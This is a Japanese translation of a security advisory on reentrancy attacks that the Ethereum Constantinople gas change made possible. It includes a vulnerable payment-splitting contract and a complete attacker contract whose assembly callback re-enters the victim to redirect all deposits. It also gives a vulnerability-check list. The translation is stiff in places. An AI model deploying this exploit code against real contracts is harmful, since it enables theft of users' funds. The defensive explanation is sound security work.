
最初のレベルのタイトル
このコードのどこが間違っているのでしょうか?
以下は、コンスタンティノープル以前はリエントラント攻撃に対して脆弱ではなかったが、コンスタンティノープル以降は脆弱になった短いスマート コントラクトです。攻撃者のコントラクトを含む完全なソース コードは、Github で見つけることができます。
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
a.transfer(depo * splits[id] / 100);
b.transfer(depo * (100 - splits[id]) / 100);
}
}
<新たな脆弱性のあるコードの例>
このコードは予期しない方法で攻撃されました。安全な分割サービスをシミュレートするものでした。両当事者は共同で資金を受け取り、資金を分割する方法を決定し、支払いを受け取ることができます。攻撃者は、最初のアドレスが以下にリストされている攻撃者のコントラクトであり、2 番目のアドレスが任意の攻撃者のアカウントであるアドレスのペアを作成できます。攻撃者はいくらかの資金を補充します。
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
address x = victim;
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
<最初のアドレスとして記載されている攻撃者の契約>
攻撃者は、自身のコントラクトの攻撃関数を呼び出して、トランザクション内の次のイベントを公開します。
1. 攻撃者は updateSplit を使用して現在の分割を設定し、以降のアップグレードが安価になるようにします。これはコンスタンティノープルのアップグレードの結果です。攻撃者は、最初のアドレス (コントラクト アドレス) がすべての資金を受け取るように分割を設定します。
2. 攻撃者のコントラクトは、splitFunds 関数を呼び出します。この関数はチェック* を実行し、転送を使用してアドレスのペアのデポジット全体をコントラクトに送信します。
3. コールバック関数から、攻撃者は再び分割を更新し、今度は攻撃者の 2 番目の口座にすべての資金を割り当てます。
4. SplitFunds の実行は続行され、すべての入金も 2 番目の攻撃者のアカウントに転送されます。
最初のレベルのタイトル
なぜ今攻撃できるのでしょうか?
コンスタンティノープル以前は、各貯蔵操作に少なくとも 5000 ガスが必要でした。これは、転送または通話契約を使用した場合に送信される 2,300 ガス料金をはるかに上回ります。
コンスタンティノープルの後は、「ダーティ」ストレージ スロットを変更するストレージ操作に必要なガスは 200 ガスだけです。ストレージ スロットをダーティにするには、進行中のトランザクション中にスロットを変更する必要があります。上に示したように、これは通常、攻撃者コントラクトが目的の変数を変更する何らかのパブリック関数を呼び出すことによって実現できます。次に、たとえば msg.sender.transfer(...) を使用して、脆弱なコントラクトに攻撃者コントラクトを呼び出すことで、攻撃者コントラクトは 2300 ガス料金を使用して脆弱なコントラクトの変数を正常に操作できます。
コントラクトが脆弱になるには、特定の前提条件を満たす必要があります。
1. 関数内の転送/送信の後に関数 A があり、その後に状態変更操作が続く必要があります。これは、2 回目の転送や別のスマート コントラクトとのやり取りなど、明らかではない場合もあります。
2. 攻撃者は、(a) 状態を変更できる、および (b) その状態変更が関数 A の状態と競合する可能性のある関数 B にアクセスできる必要があります。
3. ファンクション B は 1600 ガス未満で実行する必要があります (2300 ガス料金 - CALL の場合は 700 ガス)。
私の契約は脆弱ですか?
脆弱かどうかをテストするには:
(a) 転送イベント後に操作があったかどうかを確認します。
(b) これらの操作によってストレージ状態が変更されるかどうかを確認します。最も一般的な方法は、何らかのストレージ変数を割り当てることです。別のコントラクト (たとえば、トークンの転送メソッド*) を呼び出す場合は、どの変数が変更されるかを確認してください。リストを作る。
(c) 管理者以外がアクセスできるコントラクト内の他のメソッドがこれらの変数のいずれかを使用していることを確認します。
(d) これらのメソッドが保存状態を自ら変更することを確認します。
(e) 2300 ガス未満のメソッドがあるかどうかを確認します。SSTORE 操作は 200 ガスのみであることに注意してください。
これが発生した場合、攻撃者によってコントラクトが不正な状態に陥る可能性が非常に高くなります。全体として、これは、チェック - 効果 - インタラクション パターンがなぜ非常に重要であるかを改めて思い出させるものです。
ノードオペレーターまたはマイナーとして何をする必要がありますか?
Ethereum クライアントの最新バージョンをダウンロードします。
最新の Harmony クライアント (v2.3 ビルド 72)
最新の Trinity クライアント (v0.1.0-alpha.20)
イーサリアムウォレット/ミストの最新バージョン (v0.11.1)
| 著者: チェーンセキュリティ
| 翻訳: Cheetah ブロックチェーン セキュリティ チーム